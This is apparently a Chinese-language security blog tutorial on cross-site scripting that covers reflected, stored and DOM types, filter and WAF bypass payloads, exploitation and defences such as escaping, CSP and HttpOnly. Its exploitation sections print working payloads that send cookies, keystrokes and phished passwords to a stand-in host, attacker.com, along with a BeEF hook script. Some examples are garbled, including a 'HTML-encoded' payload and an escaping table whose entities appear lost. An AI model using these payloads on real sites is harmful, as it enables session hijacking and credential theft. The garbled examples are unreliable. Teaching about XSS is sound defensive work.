XSS深度剖析:从弹窗到持久化窃取Cookie
作者:浅木·先生
来源:「浅木·先生」| 知识星球「软件测试成长圈」
所属专栏:《Web安全工程师进阶之路》
前言
XSS(跨站脚本攻击)可能是Web安全中名字最响亮的漏洞之一,很多人都知道alert("XSS")弹窗测试。但实际上XSS远远不只是弹个框,它能做很多事情------窃取Cookie、劫持会话、键盘记录、钓鱼注入 ,甚至是内网探测和ARMMITM攻击的跳板。
很多人觉得XSS是"低危漏洞",但在真实的渗透测试场景中,XSS往往是横向移动的关键入口。本文系统讲解XSS的原理、分类、绕过技巧和实战利用,帮你全面认识这个"低调杀手"。
一、XSS的原理
1.1 漏洞本质
XSS的本质是HTML注入------服务器对用户输入没有做充分的过滤或转义,导致用户输入的内容被浏览器当作HTML代码解析执行。
正常流程:
用户输入:Hello World
输出到页面:<p>Hello World</p>
浏览器解析:显示 "Hello World"
攻击流程:
用户输入:<script>alert(1)</script>
输出到页面:<p><script>alert(1)</script></p>
浏览器解析:执行JavaScript脚本
1.2 XSS与CSRF的关系
很多人分不清XSS和CSRF的区别:
| 漏洞 | 本质 | 攻击者能做的事 |
|---|---|---|
| XSS | 信任用户的输入为安全内容 | 越过浏览器安全策略,窃取该域下任意数据 |
| CSRF | 利用用户已登录的状态发送伪造请求 | 以用户身份发送恶意请求,但不读取响应 |
XSS是读取,CSRF是发送。 两者结合时威力更大------XSS窃取token,CSRF利用token发请求。
二、XSS的分类
2.1 反射型XSS(非持久化)
攻击代码通过URL参数传输,服务器直接响应执行,不存储到数据库。
javascript
// URL
https://target.com/search?q=<script>alert(1)</script>
// 服务器未过滤,直接将q参数内容返回
// <h2>搜索结果:<script>alert(1)</script></h2>
// 浏览器收到响应后执行脚本
特点: 需要诱导用户点击恶意链接,一次性利用。
2.2 存储型XSS(持久化)
攻击代码被存储到服务器(数据库、评论区、留言板),每次访问页面都会执行。
javascript
// 在评论框提交:
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
// 服务器存储了这段内容
// 其他用户访问该文章时,浏览器执行脚本 → Cookie被盗
特点: 持久生效,危害最大,所有访问该页面的用户都会被攻击。
2.3 DOM型XSS
前端JavaScript从URL中读取参数并直接写入页面,不经过服务器端处理。
javascript
// 前端JS代码
var url = document.location.href;
document.write("当前页面:" + url);
// 攻击者构造URL:
https://target.com/#<img src=x onerror=alert(1)>
// URL中#后的内容不会发送到服务器,但JavaScript会读取并写入页面
// 写入的内容是:<img src=x onerror=alert(1)>
// 图片加载失败,触发onerror事件,执行JavaScript
特点: 纯前端漏洞,服务器日志不记录,WAF无法感知。
三、XSS探测与绕过
3.1 基础探测
html
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<a href="javascript:alert(1)">click</a>
3.2 绕过技巧
1. 大小写混合
html
<ScRiPt>alert(1)</sCrIpT>
2. HTML编码
html
<script>alert(1)</script>
3. 利用事件属性
html
<img src=x onerror=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<select onbeforecopy=alert(1) contenteditable>
4. 伪协议
html
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
5. 绕过引号限制
html
<img src='x' onerror='alert(1)'>
<!-- 用单引号绕过双引号过滤 -->
6. 绕过script过滤
html
<script>alalertert(1)</script>
<!-- 插入空字符干扰匹配:alalertert → alert -->
7. 利用SVG/Flash等标签
html
<svg/onload=alert(1)>
<object data="malicious.swf">
3.3 常见WAF绕过
html
<!-- 空格替代 -->
<img/src=x/onerror=alert(1)>
<!-- 用/代替空格 -->
<!-- 换行符干扰 -->
<img
src=x
onerror=alert(1)>
<!-- Tab键干扰 -->
<img src=x onerror=alert(1)>
<!-- Unicode编码 -->
<img src=x onerror=\u0061\u006C\u0065\u0072\u0074(1)>
四、XSS实战利用
4.1 窃取Cookie
这是XSS最经典的利用方式,通过JavaScript读取当前页面的Cookie,发送到攻击者服务器。
html
<script>
fetch('http://attacker.com/log?c=' + encodeURIComponent(document.cookie));
</script>
攻击者服务器接收端(Node.js):
javascript
const http = require('http');
http.createServer((req, res) => {
console.log('Cookie:', req.url);
res.end('ok');
}).listen(8080);
// 访问 http://attacker.com/log?c=PHPSESSID=xxx
4.2 Beef-XSS渗透框架
BeEF是专门做XSS渗透的框架,功能强大:
bash
# 安装
git clone https://github.com/beefproject/beef
cd beef
./install
# 启动
./beef
# 生成XSS钩子代码,插入到目标页面
<script src="http://attacker.com:3000/hook.js"></script>
# BeEF控制台可以:
# - 窃取Cookie/Session
# - 读取浏览器信息(插件、操作系统)
# - 端口扫描内网
# - 弹出伪造登录框(钓鱼)
# - 发送弹窗、修改页面内容
4.3 键盘记录器
javascript
document.onkeypress = function(e) {
fetch('http://attacker.com/keylog?k=' + e.key);
}
4.4 钓鱼攻击
注入伪造登录框:
javascript
document.write('<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white"><h2>请重新登录</h2><form action="http://attacker.com/fake"><input type="password"><button>登录</button></form></div>');
五、XSS防护方案
5.1 输入端过滤
javascript
// 过滤危险字符
function filterXSS(str) {
return str
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/');
}
5.2 输出端转义(最佳方案)
HTML上下文不同,转义规则不同:
javascript
// HTML内容中
& → &
< → <
> → >
" → "
' → '
// JavaScript上下文中
" → \x22
' → \x27
\ → \\
5.3 CSP内容安全策略
配置HTTP头,限制页面可执行的资源来源:
http
Content-Security-Policy: script-src 'self' 'nonce-xxx'; object-src 'none'; base-uri 'self';
http
# 禁止内联脚本(最严格)
Content-Security-Policy: default-src 'self'; script-src 'self';
5.4 HttpOnly和Secure标记
http
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict
- HttpOnly: JavaScript无法读取Cookie(防止XSS窃取)
- Secure: Cookie只在HTTPS下传输
- SameSite: 防止CSRF攻击
六、XSS实战测试清单
| 测试位置 | 测试方法 |
|---|---|
| 搜索框 | "><script>alert(1)</script> |
| 评论/留言 | 发表含XSS代码的内容,刷新页面 |
| URL参数 | 各类参数加XSS代码,观察是否反射 |
| Cookie | 检查Cookie是否设置了HttpOnly |
| 表单 | 检查输入是否有长度限制和过滤 |
| 错误页面 | 访问不存在页面,检查错误信息是否被转义 |
总结
XSS不是"弹个框"那么简单。它是HTML注入,核心是用户输入被当作代码执行。
- 反射型: URL一次触发,适合钓鱼
- 存储型: 持久生效,窃取所有访问者的Cookie
- DOM型: 纯前端,隐蔽性强
防护的核心是输入过滤 + 输出转义 + CSP + HttpOnly,多层次防御才是正确的思路。
关于作者
作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。
如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以搜索关注「浅木·先生」,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈
💡 AI工具推荐
如果你在研究AI编程或大模型应用,以下工具值得关注:
- 硅基流动 (主打大模型推理服务):https://cloud.siliconflow.cn/i/24s1PqPc
- WorkBuddy (腾讯龙虾旗下产品):https://www.codebuddy.cn/fission/?inviteCode=iw31adtaqqtgz899
- MonkeyCode AI (编程助手工具,新用户5000积分):https://monkeycode-ai.com/?ic=019ddc5b-009c-7370-86ba-c196753108c9